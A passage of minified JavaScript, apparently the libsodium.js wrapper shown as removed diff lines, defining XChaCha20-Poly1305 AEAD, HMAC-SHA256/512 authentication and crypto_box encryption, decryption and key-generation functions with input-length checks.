s3.push(v3); - var Q3 = new f2(u3 - r5._crypto_aead_xchacha20poly1305_ietf_abytes() | 0), b3 = Q3.address; - if (s3.push(b3), 0 === r5._crypto_aead_xchacha20poly1305_ietf_decrypt(b3, null, a3, c3, u3, 0, d3, m3, 0, E3, v3)) { - var k3 = g2(Q3, o3); - return I2(s3), k3; - } - y2(s3, "ciphertext cannot be decrypted using that key"); - } - function Y2(t3, e4, n4, A4, i3, o3, s3) { - var a3 = []; - l2(s3); - var c3 = null; - null != t3 && (c3 = p2(t3 = B2(a3, t3, "secret_nonce")), t3.length, a3.push(c3)); - var h3 = p2(e4 = B2(a3, e4, "ciphertext")), u3 = e4.length; - a3.push(h3), n4 = B2(a3, n4, "mac"); - var d3, m3 = 0 | r5._crypto_box_macbytes(); - n4.length !== m3 && C2(a3, "invalid mac length"), d3 = p2(n4), a3.push(d3); - var E3 = null, w3 = 0; - null != A4 && (E3 = p2(A4 = B2(a3, A4, "additional_data")), w3 = A4.length, a3.push(E3)), i3 = B2(a3, i3, "public_nonce"); - var v3, _3 = 0 | r5._crypto_aead_xchacha20poly1305_ietf_npubbytes(); - i3.length !== _3 && C2(a3, "invalid public_nonce length"), v3 = p2(i3), a3.push(v3), o3 = B2(a3, o3, "key"); - var Q3, b3 = 0 | r5._crypto_aead_xchacha20poly1305_ietf_keybytes(); - o3.length !== b3 && C2(a3, "invalid key length"), Q3 = p2(o3), a3.push(Q3); - var k3 = new f2(0 | u3), D3 = k3.address; - if (a3.push(D3), 0 === r5._crypto_aead_xchacha20poly1305_ietf_decrypt_detached(D3, c3, h3, u3, 0, d3, E3, w3, 0, v3, Q3)) { - var S3 = g2(k3, s3); - return I2(a3), S3; - } - y2(a3, "ciphertext cannot be decrypted using that key"); - } - function K2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = p2(t3 = B2(s3, t3, "message")), c3 = t3.length; - s3.push(a3); - var h3 = null, u3 = 0; - null != e4 && (h3 = p2(e4 = B2(s3, e4, "additional_data")), u3 = e4.length, s3.push(h3)); - var d3 = null; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "secret_nonce")), n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var m3, E3 = 0 | r5._crypto_aead_xchacha20poly1305_ietf_npubbytes(); - A4.length !== E3 && C2(s3, "invalid public_nonce length"), m3 = p2(A4), s3.push(m3), i3 = B2(s3, i3, "key"); - var w3, v3 = 0 | r5._crypto_aead_xchacha20poly1305_ietf_keybytes(); - i3.length !== v3 && C2(s3, "invalid key length"), w3 = p2(i3), s3.push(w3); - var _3 = new f2(c3 + r5._crypto_aead_xchacha20poly1305_ietf_abytes() | 0), Q3 = _3.address; - if (s3.push(Q3), 0 === r5._crypto_aead_xchacha20poly1305_ietf_encrypt(Q3, null, a3, c3, 0, h3, u3, 0, d3, m3, w3)) { - var b3 = g2(_3, o3); - return I2(s3), b3; - } - y2(s3, "invalid usage"); - } - function J2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = p2(t3 = B2(s3, t3, "message")), c3 = t3.length; - s3.push(a3); - var h3 = null, u3 = 0; - null != e4 && (h3 = p2(e4 = B2(s3, e4, "additional_data")), u3 = e4.length, s3.push(h3)); - var d3 = null; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "secret_nonce")), n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var m3, E3 = 0 | r5._crypto_aead_xchacha20poly1305_ietf_npubbytes(); - A4.length !== E3 && C2(s3, "invalid public_nonce length"), m3 = p2(A4), s3.push(m3), i3 = B2(s3, i3, "key"); - var w3, v3 = 0 | r5._crypto_aead_xchacha20poly1305_ietf_keybytes(); - i3.length !== v3 && C2(s3, "invalid key length"), w3 = p2(i3), s3.push(w3); - var _3 = new f2(0 | c3), Q3 = _3.address; - s3.push(Q3); - var b3 = new f2(0 | r5._crypto_aead_xchacha20poly1305_ietf_abytes()), k3 = b3.address; - if (s3.push(k3), 0 === r5._crypto_aead_xchacha20poly1305_ietf_encrypt_detached(Q3, k3, null, a3, c3, 0, h3, u3, 0, d3, m3, w3)) { - var D3 = g2({ ciphertext: _3, mac: b3 }, o3); - return I2(s3), D3; - } - y2(s3, "invalid usage"); - } - function j2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_aead_xchacha20poly1305_ietf_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_aead_xchacha20poly1305_ietf_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function z2(t3, e4, n4) { - var A4 = []; - l2(n4); - var i3 = p2(t3 = B2(A4, t3, "message")), o3 = t3.length; - A4.push(i3), e4 = B2(A4, e4, "key"); - var s3, a3 = 0 | r5._crypto_auth_keybytes(); - e4.length !== a3 && C2(A4, "invalid key length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_auth_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_auth(h3, i3, o3, 0, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "invalid usage"); - } - function q2(t3, e4, n4) { - var A4 = []; - l2(n4); - var i3 = p2(t3 = B2(A4, t3, "message")), o3 = t3.length; - A4.push(i3), e4 = B2(A4, e4, "key"); - var s3, a3 = 0 | r5._crypto_auth_hmacsha256_keybytes(); - e4.length !== a3 && C2(A4, "invalid key length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_auth_hmacsha256_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_auth_hmacsha256(h3, i3, o3, 0, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "invalid usage"); - } - function X2(t3, e4) { - var n4 = []; - l2(e4), m2(n4, t3, "state_address"); - var A4 = new f2(0 | r5._crypto_auth_hmacsha256_bytes()), i3 = A4.address; - if (n4.push(i3), !(0 | r5._crypto_auth_hmacsha256_final(t3, i3))) { - var o3 = (r5._free(t3), g2(A4, e4)); - return I2(n4), o3; - } - y2(n4, "invalid usage"); - } - function V2(t3, e4) { - var n4 = []; - l2(e4); - var A4 = null, i3 = 0; - null != t3 && (A4 = p2(t3 = B2(n4, t3, "key")), i3 = t3.length, n4.push(A4)); - var o3 = new f2(208).address; - if (!(0 | r5._crypto_auth_hmacsha256_init(o3, A4, i3))) { - var s3 = o3; - return I2(n4), s3; - } - y2(n4, "invalid usage"); - } - function W2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_auth_hmacsha256_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_auth_hmacsha256_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function Z2(t3, e4, n4) { - var A4 = []; - l2(n4), m2(A4, t3, "state_address"); - var i3 = p2(e4 = B2(A4, e4, "message_chunk")), o3 = e4.length; - A4.push(i3), !!(0 | r5._crypto_auth_hmacsha256_update(t3, i3, o3)) && y2(A4, "invalid usage"), I2(A4); - } - function $2(t3, e4, n4) { - var A4 = []; - t3 = B2(A4, t3, "tag"); - var i3, o3 = 0 | r5._crypto_auth_hmacsha256_bytes(); - t3.length !== o3 && C2(A4, "invalid tag length"), i3 = p2(t3), A4.push(i3); - var s3 = p2(e4 = B2(A4, e4, "message")), a3 = e4.length; - A4.push(s3), n4 = B2(A4, n4, "key"); - var c3, h3 = 0 | r5._crypto_auth_hmacsha256_keybytes(); - n4.length !== h3 && C2(A4, "invalid key length"), c3 = p2(n4), A4.push(c3); - var g3 = !(0 | r5._crypto_auth_hmacsha256_verify(i3, s3, a3, 0, c3)); - return I2(A4), g3; - } - function tt2(t3, e4, n4) { - var A4 = []; - l2(n4); - var i3 = p2(t3 = B2(A4, t3, "message")), o3 = t3.length; - A4.push(i3), e4 = B2(A4, e4, "key"); - var s3, a3 = 0 | r5._crypto_auth_hmacsha512_keybytes(); - e4.length !== a3 && C2(A4, "invalid key length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_auth_hmacsha512_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_auth_hmacsha512(h3, i3, o3, 0, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "invalid usage"); - } - function et2(t3, e4) { - var n4 = []; - l2(e4), m2(n4, t3, "state_address"); - var A4 = new f2(0 | r5._crypto_auth_hmacsha512_bytes()), i3 = A4.address; - if (n4.push(i3), !(0 | r5._crypto_auth_hmacsha512_final(t3, i3))) { - var o3 = (r5._free(t3), g2(A4, e4)); - return I2(n4), o3; - } - y2(n4, "invalid usage"); - } - function rt2(t3, e4) { - var n4 = []; - l2(e4); - var A4 = null, i3 = 0; - null != t3 && (A4 = p2(t3 = B2(n4, t3, "key")), i3 = t3.length, n4.push(A4)); - var o3 = new f2(416).address; - if (!(0 | r5._crypto_auth_hmacsha512_init(o3, A4, i3))) { - var s3 = o3; - return I2(n4), s3; - } - y2(n4, "invalid usage"); - } - function nt2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_auth_hmacsha512_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_auth_hmacsha512_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function At2(t3, e4, n4) { - var A4 = []; - l2(n4), m2(A4, t3, "state_address"); - var i3 = p2(e4 = B2(A4, e4, "message_chunk")), o3 = e4.length; - A4.push(i3), !!(0 | r5._crypto_auth_hmacsha512_update(t3, i3, o3)) && y2(A4, "invalid usage"), I2(A4); - } - function it2(t3, e4, n4) { - var A4 = []; - t3 = B2(A4, t3, "tag"); - var i3, o3 = 0 | r5._crypto_auth_hmacsha512_bytes(); - t3.length !== o3 && C2(A4, "invalid tag length"), i3 = p2(t3), A4.push(i3); - var s3 = p2(e4 = B2(A4, e4, "message")), a3 = e4.length; - A4.push(s3), n4 = B2(A4, n4, "key"); - var c3, h3 = 0 | r5._crypto_auth_hmacsha512_keybytes(); - n4.length !== h3 && C2(A4, "invalid key length"), c3 = p2(n4), A4.push(c3); - var g3 = !(0 | r5._crypto_auth_hmacsha512_verify(i3, s3, a3, 0, c3)); - return I2(A4), g3; - } - function ot2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_auth_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_auth_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function st2(t3, e4, n4) { - var A4 = []; - t3 = B2(A4, t3, "tag"); - var i3, o3 = 0 | r5._crypto_auth_bytes(); - t3.length !== o3 && C2(A4, "invalid tag length"), i3 = p2(t3), A4.push(i3); - var s3 = p2(e4 = B2(A4, e4, "message")), a3 = e4.length; - A4.push(s3), n4 = B2(A4, n4, "key"); - var c3, h3 = 0 | r5._crypto_auth_keybytes(); - n4.length !== h3 && C2(A4, "invalid key length"), c3 = p2(n4), A4.push(c3); - var g3 = !(0 | r5._crypto_auth_verify(i3, s3, a3, 0, c3)); - return I2(A4), g3; - } - function at2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "publicKey"); - var i3, o3 = 0 | r5._crypto_box_publickeybytes(); - t3.length !== o3 && C2(A4, "invalid publicKey length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "privateKey"); - var s3, a3 = 0 | r5._crypto_box_secretkeybytes(); - e4.length !== a3 && C2(A4, "invalid privateKey length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_box_beforenmbytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_box_beforenm(h3, i3, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "invalid usage"); - } - function ct2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "publicKey"); - var i3, o3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_publickeybytes(); - t3.length !== o3 && C2(A4, "invalid publicKey length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "privateKey"); - var s3, a3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_secretkeybytes(); - e4.length !== a3 && C2(A4, "invalid privateKey length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_box_curve25519xchacha20poly1305_beforenmbytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_box_curve25519xchacha20poly1305_beforenm(h3, i3, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "invalid usage"); - } - function ht2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3); - var s3 = p2(t3 = B2(o3, t3, "message")), a3 = t3.length; - o3.push(s3), e4 = B2(o3, e4, "nonce"); - var c3, h3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_noncebytes(); - e4.length !== h3 && C2(o3, "invalid nonce length"), c3 = p2(e4), o3.push(c3), n4 = B2(o3, n4, "publicKey"); - var u3, d3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_publickeybytes(); - n4.length !== d3 && C2(o3, "invalid publicKey length"), u3 = p2(n4), o3.push(u3), A4 = B2(o3, A4, "privateKey"); - var m3, E3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_secretkeybytes(); - A4.length !== E3 && C2(o3, "invalid privateKey length"), m3 = p2(A4), o3.push(m3); - var w3 = new f2(0 | a3), v3 = w3.address; - o3.push(v3); - var _3 = new f2(0 | r5._crypto_box_curve25519xchacha20poly1305_macbytes()), Q3 = _3.address; - if (o3.push(Q3), !(0 | r5._crypto_box_curve25519xchacha20poly1305_detached(v3, Q3, s3, a3, 0, c3, u3, m3))) { - var b3 = g2({ ciphertext: w3, mac: _3 }, i3); - return I2(o3), b3; - } - y2(o3, "invalid usage"); - } - function gt2(t3, e4, n4, A4) { - var i3 = []; - l2(A4); - var o3 = p2(t3 = B2(i3, t3, "message")), s3 = t3.length; - i3.push(o3), e4 = B2(i3, e4, "nonce"); - var a3, c3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_noncebytes(); - e4.length !== c3 && C2(i3, "invalid nonce length"), a3 = p2(e4), i3.push(a3), n4 = B2(i3, n4, "sharedKey"); - var h3, u3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_beforenmbytes(); - n4.length !== u3 && C2(i3, "invalid sharedKey length"), h3 = p2(n4), i3.push(h3); - var d3 = new f2(0 | s3), m3 = d3.address; - i3.push(m3); - var E3 = new f2(0 | r5._crypto_box_curve25519xchacha20poly1305_macbytes()), w3 = E3.address; - if (i3.push(w3), !(0 | r5._crypto_box_curve25519xchacha20poly1305_detached_afternm(m3, w3, o3, s3, 0, a3, h3))) { - var v3 = g2({ ciphertext: d3, mac: E3 }, A4); - return I2(i3), v3; - } - y2(i3, "invalid usage"); - } - function ut2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3); - var s3 = p2(t3 = B2(o3, t3, "message")), a3 = t3.length; - o3.push(s3), e4 = B2(o3, e4, "nonce"); - var c3, h3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_noncebytes(); - e4.length !== h3 && C2(o3, "invalid nonce length"), c3 = p2(e4), o3.push(c3), n4 = B2(o3, n4, "publicKey"); - var u3, d3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_publickeybytes(); - n4.length !== d3 && C2(o3, "invalid publicKey length"), u3 = p2(n4), o3.push(u3), A4 = B2(o3, A4, "privateKey"); - var m3, E3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_secretkeybytes(); - A4.length !== E3 && C2(o3, "invalid privateKey length"), m3 = p2(A4), o3.push(m3); - var w3 = new f2(a3 + r5._crypto_box_curve25519xchacha20poly1305_macbytes() | 0), v3 = w3.address; - if (o3.push(v3), !(0 | r5._crypto_box_curve25519xchacha20poly1305_easy(v3, s3, a3, 0, c3, u3, m3))) { - var _3 = g2(w3, i3); - return I2(o3), _3; - } - y2(o3, "invalid usage"); - } - function lt2(t3, e4, n4, A4) { - var i3 = []; - l2(A4); - var o3 = p2(t3 = B2(i3, t3, "message")), s3 = t3.length; - i3.push(o3), e4 = B2(i3, e4, "nonce"); - var a3, c3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_noncebytes(); - e4.length !== c3 && C2(i3, "invalid nonce length"), a3 = p2(e4), i3.push(a3), n4 = B2(i3, n4, "sharedKey"); - var h3, u3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_beforenmbytes(); - n4.length !== u3 && C2(i3, "invalid sharedKey length"), h3 = p2(n4), i3.push(h3); - var d3 = new f2(s3 + r5._crypto_box_curve25519xchacha20poly1305_macbytes() | 0), m3 = d3.address; - if (i3.push(m3), !(0 | r5._crypto_box_curve25519xchacha20poly1305_easy_afternm(m3, o3, s3, 0, a3, h3))) { - var E3 = g2(d3, A4); - return I2(i3), E3; - } - y2(i3, "invalid usage"); - } - function ft2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_box_curve25519xchacha20poly1305_publickeybytes()), A4 = n4.address; - e4.push(A4); - var i3 = new f2(0 | r5._crypto_box_curve25519xchacha20poly1305_secretkeybytes()), o3 = i3.address; - e4.push(o3), r5._crypto_box_curve25519xchacha20poly1305_keypair(A4, o3); - var s3 = g2({ publicKey: n4, privateKey: i3, keyType: "curve25519" }, t3); - return I2(e4), s3; - } - function pt2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = p2(t3 = B2(s3, t3, "ciphertext")), c3 = t3.length; - s3.push(a3), e4 = B2(s3, e4, "mac"); - var h3, u3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_macbytes(); - e4.length !== u3 && C2(s3, "invalid mac length"), h3 = p2(e4), s3.push(h3), n4 = B2(s3, n4, "nonce"); - var d3, m3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_noncebytes(); - n4.length !== m3 && C2(s3, "invalid nonce length"), d3 = p2(n4), s3.push(d3), A4 = B2(s3, A4, "publicKey"); - var E3, w3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_publickeybytes(); - A4.length !== w3 && C2(s3, "invalid publicKey length"), E3 = p2(A4), s3.push(E3), i3 = B2(s3, i3, "privateKey"); - var v3, _3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_secretkeybytes(); - i3.length !== _3 && C2(s3, "invalid privateKey length"), v3 = p2(i3), s3.push(v3); - var Q3 = new f2(0 | c3), b3 = Q3.address; - if (s3.push(b3), !(0 | r5._crypto_box_curve25519xchacha20poly1305_open_detached(b3, a3, h3, c3, 0, d3, E3, v3))) { - var k3 = g2(Q3, o3); - return I2(s3), k3; - } - y2(s3, "incorrect key pair for the given ciphertext"); - } - function dt2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3); - var s3 = p2(t3 = B2(o3, t3, "ciphertext")), a3 = t3.length; - o3.push(s3), e4 = B2(o3, e4, "mac"); - var c3, h3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_macbytes(); - e4.length !== h3 && C2(o3, "invalid mac length"), c3 = p2(e4), o3.push(c3), n4 = B2(o3, n4, "nonce"); - var u3, d3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_noncebytes(); - n4.length !== d3 && C2(o3, "invalid nonce length"), u3 = p2(n4), o3.push(u3), A4 = B2(o3, A4, "sharedKey"); - var m3, E3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_beforenmbytes(); - A4.length !== E3 && C2(o3, "invalid sharedKey length"), m3 = p2(A4), o3.push(m3); - var w3 = new f2(0 | a3), v3 = w3.address; - if (o3.push(v3), !(0 | r5._crypto_box_curve25519xchacha20poly1305_open_detached_afternm(v3, s3, c3, a3, 0, u3, m3))) { - var _3 = g2(w3, i3); - return I2(o3), _3; - } - y2(o3, "incorrect secret key for the given ciphertext"); - } - function It2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3), t3 = B2(o3, t3, "ciphertext"); - var s3, a3 = r5._crypto_box_curve25519xchacha20poly1305_macbytes(), c3 = t3.length; - c3 < a3 && C2(o3, "ciphertext is too short"), s3 = p2(t3), o3.push(s3), e4 = B2(o3, e4, "nonce"); - var h3, u3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_noncebytes(); - e4.length !== u3 && C2(o3, "invalid nonce length"), h3 = p2(e4), o3.push(h3), n4 = B2(o3, n4, "publicKey"); - var d3, m3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_publickeybytes(); - n4.length !== m3 && C2(o3, "invalid publicKey length"), d3 = p2(n4), o3.push(d3), A4 = B2(o3, A4, "privateKey"); - var E3, w3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_secretkeybytes(); - A4.length !== w3 && C2(o3, "invalid privateKey length"), E3 = p2(A4), o3.push(E3); - var v3 = new f2(c3 - r5._crypto_box_curve25519xchacha20poly1305_macbytes() | 0), _3 = v3.address; - if (o3.push(_3), !(0 | r5._crypto_box_curve25519xchacha20poly1305_open_easy(_3, s3, c3, 0, h3, d3, E3))) { - var Q3 = g2(v3, i3); - return I2(o3), Q3; - } - y2(o3, "incorrect key pair for the given ciphertext"); - } - function yt2(t3, e4, n4, A4) { - var i3 = []; - l2(A4); - var o3 = p2(t3 = B2(i3, t3, "ciphertext")), s3 = t3.length; - i3.push(o3), e4 = B2(i3, e4, "nonce"); - var a3, c3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_noncebytes(); - e4.length !== c3 && C2(i3, "invalid nonce length"), a3 = p2(e4), i3.push(a3), n4 = B2(i3, n4, "sharedKey"); - var h3, u3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_beforenmbytes(); - n4.length !== u3 && C2(i3, "invalid sharedKey length"), h3 = p2(n4), i3.push(h3); - var d3 = new f2(s3 - r5._crypto_box_curve25519xchacha20poly1305_macbytes() | 0), m3 = d3.address; - if (i3.push(m3), !(0 | r5._crypto_box_curve25519xchacha20poly1305_open_easy_afternm(m3, o3, s3, 0, a3, h3))) { - var E3 = g2(d3, A4); - return I2(i3), E3; - } - y2(i3, "incorrect secret key for the given ciphertext"); - } - function Ct2(t3, e4, n4) { - var A4 = []; - l2(n4); - var i3 = p2(t3 = B2(A4, t3, "message")), o3 = t3.length; - A4.push(i3), e4 = B2(A4, e4, "publicKey"); - var s3, a3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_publickeybytes(); - e4.length !== a3 && C2(A4, "invalid publicKey length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(o3 + r5._crypto_box_curve25519xchacha20poly1305_sealbytes() | 0), h3 = c3.address; - A4.push(h3), r5._crypto_box_curve25519xchacha20poly1305_seal(h3, i3, o3, 0, s3); - var u3 = g2(c3, n4); - return I2(A4), u3; - } - function mt2(t3, e4, n4, A4) { - var i3 = []; - l2(A4), t3 = B2(i3, t3, "ciphertext"); - var o3, s3 = r5._crypto_box_curve25519xchacha20poly1305_sealbytes(), a3 = t3.length; - a3 < s3 && C2(i3, "ciphertext is too short"), o3 = p2(t3), i3.push(o3), e4 = B2(i3, e4, "publicKey"); - var c3, h3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_publickeybytes(); - e4.length !== h3 && C2(i3, "invalid publicKey length"), c3 = p2(e4), i3.push(c3), n4 = B2(i3, n4, "secretKey"); - var u3, d3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_secretkeybytes(); - n4.length !== d3 && C2(i3, "invalid secretKey length"), u3 = p2(n4), i3.push(u3); - var y3 = new f2(a3 - r5._crypto_box_curve25519xchacha20poly1305_sealbytes() | 0), m3 = y3.address; - i3.push(m3), r5._crypto_box_curve25519xchacha20poly1305_seal_open(m3, o3, a3, 0, c3, u3); - var E3 = g2(y3, A4); - return I2(i3), E3; - } - function Bt2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "seed"); - var A4, i3 = 0 | r5._crypto_box_curve25519xchacha20poly1305_seedbytes(); - t3.length !== i3 && C2(n4, "invalid seed length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_box_curve25519xchacha20poly1305_publickeybytes()), s3 = o3.address; - n4.push(s3); - var a3 = new f2(0 | r5._crypto_box_curve25519xchacha20poly1305_secretkeybytes()), c3 = a3.address; - if (n4.push(c3), !(0 | r5._crypto_box_curve25519xchacha20poly1305_seed_keypair(s3, c3, A4))) { - var h3 = { publicKey: g2(o3, e4), privateKey: g2(a3, e4), keyType: "x25519" }; - return I2(n4), h3; - } - y2(n4, "invalid usage"); - } - function Et2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3); - var s3 = p2(t3 = B2(o3, t3, "message")), a3 = t3.length; - o3.push(s3), e4 = B2(o3, e4, "nonce"); - var c3, h3 = 0 | r5._crypto_box_noncebytes(); - e4.length !== h3 && C2(o3, "invalid nonce length"), c3 = p2(e4), o3.push(c3), n4 = B2(o3, n4, "publicKey"); - var u3, d3 = 0 | r5._crypto_box_publickeybytes(); - n4.length !== d3 && C2(o3, "invalid publicKey length"), u3 = p2(n4), o3.push(u3), A4 = B2(o3, A4, "privateKey"); - var m3, E3 = 0 | r5._crypto_box_secretkeybytes(); - A4.length !== E3 && C2(o3, "invalid privateKey length"), m3 = p2(A4), o3.push(m3); - var w3 = new f2(0 | a3), v3 = w3.address; - o3.push(v3); - var _3 = new f2(0 | r5._crypto_box_macbytes()), Q3 = _3.address; - if (o3.push(Q3), !(0 | r5._crypto_box_detached(v3, Q3, s3, a3, 0, c3, u3, m3))) { - var b3 = g2({ ciphertext: w3, mac: _3 }, i3); - return I2(o3), b3; - } - y2(o3, "invalid usage"); - } - function wt2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3); - var s3 = p2(t3 = B2(o3, t3, "message")), a3 = t3.length; - o3.push(s3), e4 = B2(o3, e4, "nonce"); - var c3, h3 = 0 | r5._crypto_box_noncebytes(); - e4.length !== h3 && C2(o3, "invalid nonce length"), c3 = p2(e4), o3.push(c3), n4 = B2(o3, n4, "publicKey"); - var u3, d3 = 0 | r5._crypto_box_publickeybytes(); - n4.length !== d3 && C2(o3, "invalid publicKey length"), u3 = p2(n4), o3.push(u3), A4 = B2(o3, A4, "privateKey"); - var m3, E3 = 0 | r5._crypto_box_secretkeybytes(); - A4.length !== E3 && C2(o3, "invalid privateKey length"), m3 = p2(A4), o3.push(m3); - var w3 = new f2(a3 + r5._crypto_box_macbytes() | 0), v3 = w3.address; - if (o3.push(v3), !(0 | r5._crypto_box_easy(v3, s3, a3, 0, c3, u3, m3))) { - var _3 = g2(w3, i3); - return I2(o3), _3; - } - y2(o3, "invalid usage"); - } - function vt2(t3, e4, n4, A4) { - var i3 = []; - l2(A4); - var o3 = p2(t3 = B2(i3, t3, "message")), s3 = t3.length; - i3.push(o3), e4 = B2(i3, e4, "nonce"); - var a3, c3 = 0 | r5._crypto_box_noncebytes(); - e4.length !== c3 && C2(i3, "invalid nonce length"), a3 = p2(e4), i3.push(a3), n4 = B2(i3, n4, "sharedKey"); - var h3, u3 = 0 | r5._crypto_box_beforenmbytes(); - n4.length !== u3 && C2(i3, "invalid sharedKey length"), h3 = p2(n4), i3.push(h3); - var d3 = new f2(s3 + r5._crypto_box_macbytes() | 0), m3 = d3.address; - if (i3.push(m3), !(0 | r5._crypto_box_easy_afternm(m3, o3, s3, 0, a3, h3))) { - var E3 = g2(d3, A4); - return I2(i3), E3; - } - y2(i3, "invalid usage"); - } - function _t2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_box_publickeybytes()), A4 = n4.address; - e4.push(A4); - var i3 = new f2(0 | r5._crypto_box_secretkeybytes()), o3 = i3.address; - if (e4.push(o3), !(0 | r5._crypto_box_keypair(A4, o3))) { - var s3 = { publicKey: g2(n4, t3), privateKey: g2(i3, t3), keyType: "x25519" }; - return I2(e4), s3; - } - y2(e4, "internal error"); - } - function Qt2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = p2(t3 = B2(s3, t3, "ciphertext")), c3 = t3.length; - s3.push(a3), e4 = B2(s3, e4, "mac"); - var h3, u3 = 0 | r5._crypto_box_macbytes(); - e4.length !== u3 && C2(s3, "invalid mac length"), h3 = p2(e4), s3.push(h3), n4 = B2(s3, n4, "nonce"); - var d3, m3 = 0 | r5._crypto_box_noncebytes(); - n4.length !== m3 && C2(s3, "invalid nonce length"), d3 = p2(n4), s3.push(d3), A4 = B2(s3, A4, "publicKey"); - var E3, w3 = 0 | r5._crypto_box_publickeybytes(); - A4.length !== w3 && C2(s3, "invalid publicKey length"), E3 = p2(A4), s3.push(E3), i3 = B2(s3, i3, "privateKey"); - var v3, _3 = 0 | r5._crypto_box_secretkeybytes(); - i3.length !== _3 && C2(s3, "invalid privateKey length"), v3 = p2(i3), s3.push(v3); - var Q3 = new f2(0 | c3), b3 = Q3.address; - if (s3.push(b3), !(0 | r5._crypto_box_open_detached(b3, a3, h3, c3, 0, d3, E3, v3))) { - var k3 = g2(Q3, o3); - return I2(s3), k3; - } - y2(s3, "incorrect key pair for the given ciphertext"); - } - function bt2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3), t3 = B2(o3, t3, "ciphertext"); - var s3, a3 = r5._crypto_box_macbytes(), c3 = t3.length; - c3 < a3 && C2(o3, "ciphertext is too short"), s3 = p2(t3), o3.push(s3), e4 = B2(o3, e4, "nonce"); - var h3, u3 = 0 | r5._crypto_box_noncebytes(); - e4.length !== u3 && C2(o3, "invalid nonce length"), h3 = p2(e4), o3.push(h3), n4 = B2(o3, n4, "publicKey"); - var d3, m3 = 0 | r5._crypto_box_publickeybytes(); - n4.length !== m3 && C2(o3, "invalid publicKey length"), d3 = p2(n4), o3.push(d3), A4 = B2(o3, A4, "privateKey"); - var E3, w3 = 0 | r5._crypto_box_secretkeybytes(); - A4.length !== w3 && C2(o3, "invalid 